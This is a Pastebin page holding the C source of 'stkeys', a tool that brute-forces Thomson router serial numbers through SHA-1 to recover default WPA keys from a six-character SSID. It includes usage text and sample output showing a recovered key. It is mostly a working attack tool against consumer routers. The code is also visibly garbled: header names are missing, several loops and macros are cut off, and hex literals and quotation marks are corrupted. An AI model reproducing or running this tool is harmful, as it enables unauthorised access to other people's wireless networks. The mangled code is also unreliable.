Guest User

Untitled

a guest
Jul 20th, 2018
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.31 KB | None | 0 0
  1. /*
  2. stkeys v1.0 – Recover default WPA key for Thomson routers using default SSID
  3.  
  4. only generates keys between 2004 and 2009
  5. compile: g++ -s stkeys.c -ostkeys
  6. example:
  7.  
  8. C:\>stkeys 3983bc
  9.  
  10. [*] Generating keys for 2004
  11.  
  12. [*] Generating keys for 2005
  13.  
  14. [*] Generating keys for 2006
  15.  
  16. [*] Generating keys for 2007
  17.  
  18. [*] Generating keys for 2008
  19. [+] Serial Number: CP0827**HHJ – potential key = B6D27F2D2F
  20.  
  21. [*] Generating keys for 2009
  22.  
  23. [*] Seconds elapsed:6 – keys per second:2426112
  24.  
  25. April 2008 – wyse101 0×40 gmail.com
  26. */
  27. #include
  28. #include
  29. #include
  30. #include
  31. #include
  32.  
  33. #define SERIAL_LENGTH 12
  34.  
  35. #define ROTATE_LEFT(a,n)(((a)<>(32-(n))))
  36. #define ROTATE_RIGHT(a,n) (((a)>>(n)) | (((a) & 0xffffffff)<> 8L) | ((x & 0×00FF00FF) << 8L) ),16L)
  37.  
  38. typedef struct _SHA_MSG {
  39. unsigned long W[80];
  40. } sha1_key;
  41.  
  42. unsigned long ssid;
  43. unsigned long sha1_hash[5];
  44.  
  45. sha1_key yy_schedules[16];
  46. sha1_key ww_schedules[64];
  47. sha1_key xxx_schedules[4][64];
  48.  
  49. sha1_key *x1_schedules = &xxx_schedules[0][0];
  50. sha1_key *x2_schedules = &xxx_schedules[1][0];
  51. sha1_key *x3_schedules = &xxx_schedules[2][0];
  52.  
  53. sha1_key x1_buffer;
  54. sha1_key x2_buffer;
  55. sha1_key x3_buffer;
  56. sha1_key week_buffer;
  57. sha1_key year_buffer;
  58.  
  59. unsigned long long iterations = 0;
  60.  
  61. void expand(sha1_key *dst, sha1_key *src)
  62. {
  63. for(int i = 0;i W[i] = bswap(src->W[i]);
  64.  
  65. for(int i = 16;i W[i] = ROTATE_LEFT((dst->W[i-3] ^ dst->W[i-8] ^ dst->W[i-14] ^ dst->W[i-16]),1);
  66. }
  67.  
  68. void init_yy(void)
  69. {
  70. unsigned char buffer[64]={0};
  71.  
  72. for(int year = 4;year <= 9;year++) {
  73.  
  74. memset(buffer,0,sizeof(buffer));
  75.  
  76. buffer[0] = 'C';
  77. buffer[1] = 'P';
  78. buffer[2] = '0';
  79.  
  80. buffer[SERIAL_LENGTH] = 0×80;
  81. ((unsigned long*)buffer)[15] = bswap(SERIAL_LENGTH * 8);
  82.  
  83. buffer[3] = year + '0';
  84. expand(&yy_schedules[year-4],(sha1_key*)buffer);
  85. }
  86. }
  87.  
  88. void init_ww(void)
  89. {
  90. unsigned char buffer[64]={0};
  91.  
  92. for(int week = 1;week > 4)])
  93. #define hexlsb(x)(hexTable[ (x & 0x0f)])
  94.  
  95. void init_xxx(void)
  96. {
  97. unsigned char buffer[64];
  98.  
  99. for(int i = 0;i < 3;i++)
  100. {
  101. for(int x1 = 0;x1 < 36;x1++)
  102. {
  103. memset(buffer,0,sizeof(buffer));
  104.  
  105. buffer[2*i+6] = hexmsb(charTable[x1]);;
  106. buffer[2*i+7] = hexlsb(charTable[x1]);;
  107.  
  108. expand(&xxx_schedules[i][x1],(sha1_key*)buffer);
  109. }
  110. }
  111. }
  112.  
  113. #define F(b,c,d) ((((c) ^ (d)) & (b)) ^ (d))
  114. #define G(b,c,d) ((b) ^ (c) ^ (d))
  115. #define H(b,c,d) (((b) & (c)) | (((b) | (c)) & (d)))
  116. #define I(b,c,d) ((b) ^ (c) ^ (d))
  117.  
  118. #define sha1_ff(a,b,c,d,e,i) \
  119. (e) = x3_buffer.W[i] + (e) + 0×5a827999L + ROTATE_LEFT((a),5) + F((b),(c),(d)); \
  120. (b) = ROTATE_RIGHT((b),2);
  121.  
  122. #define sha2_gg(a,b,c,d,e,i) \
  123. (e) = x3_buffer.W[i] + (e) + 0×6ed9eba1L + ROTATE_LEFT((a),5) + G((b),(c),(d)); \
  124. (b) = ROTATE_RIGHT((b),2);
  125.  
  126. #define sha3_hh(a,b,c,d,e,i) \
  127. (e) = x3_buffer.W[i] + (e) + 0×8f1bbcdcL + ROTATE_LEFT((a),5) + H((b),(c),(d)); \
  128. (b) = ROTATE_RIGHT((b),2);
  129.  
  130. #define sha4_ii(a,b,c,d,e,i) \
  131. (e) = x3_buffer.W[i] + (e) + 0xca62c1d6L + ROTATE_LEFT((a),5) + I((b),(c),(d)); \
  132. (b) = ROTATE_RIGHT((b),2);
  133.  
  134. void sha1_block(void)
  135. {
  136. register unsigned long a,b,c,d,e;
  137.  
  138. a = (unsigned long)0×67452301L;
  139. b = (unsigned long)0xefcdab89L;
  140. c = (unsigned long)0×98badcfeL;
  141. d = (unsigned long)0×10325476L;
  142. e = (unsigned long)0xc3d2e1f0L;
  143.  
  144. sha1_ff(a,b,c,d,e, 0);
  145. sha1_ff(e,a,b,c,d, 1);
  146. sha1_ff(d,e,a,b,c, 2);
  147. sha1_ff(c,d,e,a,b, 3);
  148. sha1_ff(b,c,d,e,a, 4);
  149.  
  150. sha1_ff(a,b,c,d,e, 5);
  151. sha1_ff(e,a,b,c,d, 6);
  152. sha1_ff(d,e,a,b,c, 7);
  153. sha1_ff(c,d,e,a,b, 8);
  154. sha1_ff(b,c,d,e,a, 9);
  155.  
  156. sha1_ff(a,b,c,d,e,10);
  157. sha1_ff(e,a,b,c,d,11);
  158. sha1_ff(d,e,a,b,c,12);
  159. sha1_ff(c,d,e,a,b,13);
  160. sha1_ff(b,c,d,e,a,14);
  161.  
  162. sha1_ff(a,b,c,d,e,15);
  163. sha1_ff(e,a,b,c,d,16);
  164. sha1_ff(d,e,a,b,c,17);
  165. sha1_ff(c,d,e,a,b,18);
  166. sha1_ff(b,c,d,e,a,19);
  167.  
  168. /* ================ */
  169.  
  170. sha2_gg(a,b,c,d,e,20);
  171. sha2_gg(e,a,b,c,d,21);
  172. sha2_gg(d,e,a,b,c,22);
  173. sha2_gg(c,d,e,a,b,23);
  174. sha2_gg(b,c,d,e,a,24);
  175.  
  176. sha2_gg(a,b,c,d,e,25);
  177. sha2_gg(e,a,b,c,d,26);
  178. sha2_gg(d,e,a,b,c,27);
  179. sha2_gg(c,d,e,a,b,28);
  180. sha2_gg(b,c,d,e,a,29);
  181.  
  182. sha2_gg(a,b,c,d,e,30);
  183. sha2_gg(e,a,b,c,d,31);
  184. sha2_gg(d,e,a,b,c,32);
  185. sha2_gg(c,d,e,a,b,33);
  186. sha2_gg(b,c,d,e,a,34);
  187.  
  188. sha2_gg(a,b,c,d,e,35);
  189. sha2_gg(e,a,b,c,d,36);
  190. sha2_gg(d,e,a,b,c,37);
  191. sha2_gg(c,d,e,a,b,38);
  192. sha2_gg(b,c,d,e,a,39);
  193.  
  194. /* ================ */
  195.  
  196. sha3_hh(a,b,c,d,e,40);
  197. sha3_hh(e,a,b,c,d,41);
  198. sha3_hh(d,e,a,b,c,42);
  199. sha3_hh(c,d,e,a,b,43);
  200. sha3_hh(b,c,d,e,a,44);
  201.  
  202. sha3_hh(a,b,c,d,e,45);
  203. sha3_hh(e,a,b,c,d,46);
  204. sha3_hh(d,e,a,b,c,47);
  205. sha3_hh(c,d,e,a,b,48);
  206. sha3_hh(b,c,d,e,a,49);
  207.  
  208. sha3_hh(a,b,c,d,e,50);
  209. sha3_hh(e,a,b,c,d,51);
  210. sha3_hh(d,e,a,b,c,52);
  211. sha3_hh(c,d,e,a,b,53);
  212. sha3_hh(b,c,d,e,a,54);
  213.  
  214. sha3_hh(a,b,c,d,e,55);
  215. sha3_hh(e,a,b,c,d,56);
  216. sha3_hh(d,e,a,b,c,57);
  217. sha3_hh(c,d,e,a,b,58);
  218. sha3_hh(b,c,d,e,a,59);
  219.  
  220. /* ================ */
  221.  
  222. sha4_ii(a,b,c,d,e,60);
  223. sha4_ii(e,a,b,c,d,61);
  224. sha4_ii(d,e,a,b,c,62);
  225. sha4_ii(c,d,e,a,b,63);
  226. sha4_ii(b,c,d,e,a,64);
  227.  
  228. sha4_ii(a,b,c,d,e,65);
  229. sha4_ii(e,a,b,c,d,66);
  230. sha4_ii(d,e,a,b,c,67);
  231. sha4_ii(c,d,e,a,b,68);
  232. sha4_ii(b,c,d,e,a,69);
  233.  
  234. sha4_ii(a,b,c,d,e,70);
  235. sha4_ii(e,a,b,c,d,71);
  236. sha4_ii(d,e,a,b,c,72);
  237. sha4_ii(c,d,e,a,b,73);
  238. sha4_ii(b,c,d,e,a,74);
  239.  
  240. sha4_ii(a,b,c,d,e,75);
  241. sha4_ii(e,a,b,c,d,76);
  242. sha4_ii(d,e,a,b,c,77);
  243. sha4_ii(c,d,e,a,b,78);
  244. sha4_ii(b,c,d,e,a,79);
  245.  
  246. sha1_hash[0] = a + (unsigned long)0×67452301L;
  247. sha1_hash[1] = b + (unsigned long)0xefcdab89L;
  248. sha1_hash[2] = c + (unsigned long)0×98badcfeL;
  249. sha1_hash[3] = d + (unsigned long)0×10325476L;
  250. sha1_hash[4] = e + (unsigned long)0xc3d2e1f0L;
  251. }
  252.  
  253. #define SHA1_SET_KEY(next,previous,current) \
  254. { \
  255. for(size_t i = 0;i < sizeof(sha1_key) / sizeof(unsigned long);i += 4) { \
  256. next.W[i+0] = (previous.W[i+0] ^ current.W[i+0]); \
  257. next.W[i+1] = (previous.W[i+1] ^ current.W[i+1]); \
  258. next.W[i+2] = (previous.W[i+2] ^ current.W[i+2]); \
  259. next.W[i+3] = (previous.W[i+3] ^ current.W[i+3]); \
  260. } \
  261. }
  262.  
  263. void gen_serials(void)
  264. {
  265. unsigned char serial[8]={0};
  266.  
  267. serial[0] = 'C';
  268. serial[1] = 'P';
  269. serial[2] = '0';
  270.  
  271. for(int year = 0; year <= 5; year++) {
  272.  
  273. printf("\n\n[*] Generating keys for 200%d",year+4);
  274. memcpy(&year_buffer,&yy_schedules[year],sizeof(sha1_key));
  275.  
  276. for(int week = 0; week < 52; week++) {
  277.  
  278. SHA1_SET_KEY(week_buffer,year_buffer,ww_schedules[week]);
  279.  
  280. for(int x1 = 0; x1 < 36; x1++) {
  281.  
  282. SHA1_SET_KEY(x1_buffer,week_buffer,x1_schedules[x1]);
  283.  
  284. for(int x2 = 0; x2 < 36; x2++) {
  285.  
  286. SHA1_SET_KEY(x2_buffer,x1_buffer,x2_schedules[x2]);
  287.  
  288. for(int x3 = 0; x3 < 36; x3++) {
  289.  
  290. SHA1_SET_KEY(x3_buffer,x2_buffer,x3_schedules[x3]);
  291.  
  292. sha1_block();
  293.  
  294. if( (sha1_hash[4] & 0×00FFFFFF) == ssid) {
  295.  
  296. serial[3] = (year + 4 ) + '0';
  297. serial[4] = ((week + 1) / 10) + '0';
  298. serial[5] = ((week + 1) % 10) + '0';
  299.  
  300. printf("\n\t[+] Serial Number: %s**%c%c%c – potential key = %08lX%02X",
  301. serial,charTable[x1],charTable[x2],charTable[x3],
  302. sha1_hash[0],((unsigned char*)&sha1_hash)[7]);
  303. }
  304. iterations++;
  305. }
  306. }
  307. }
  308. }
  309. }
  310. }
  311.  
  312. int main(int argc, char *argv[])
  313. {
  314. unsigned long keys,seconds;
  315. time_t start_time;
  316. size_t ssidLen;
  317.  
  318. if(argc != 2) {
  319. puts("\n\t"
  320. "STkeys v1.0 – default WPA key recovery for Thomson routers"
  321. "\n\t(x) June 2008 – wyse101 0×40 gmail.com");
  322.  
  323. printf("\n\tUsage: stkeys \n”);
  324. return 0;
  325. }
  326.  
  327. if((ssidLen = strlen(argv[1])) != 6) {
  328. printf(”\nInvalid SSID length: %s”,argv[1]);
  329. return 0;
  330. }
  331.  
  332. for(size_t i = 0;i 0) ? (iterations / seconds) : iterations;
  333.  
  334. printf(”\n\n[*] Seconds elapsed:%lu – keys per second:%lu\n”,seconds,keys);
  335. return 0;
  336. }
Add Comment
Please, Sign In to add comment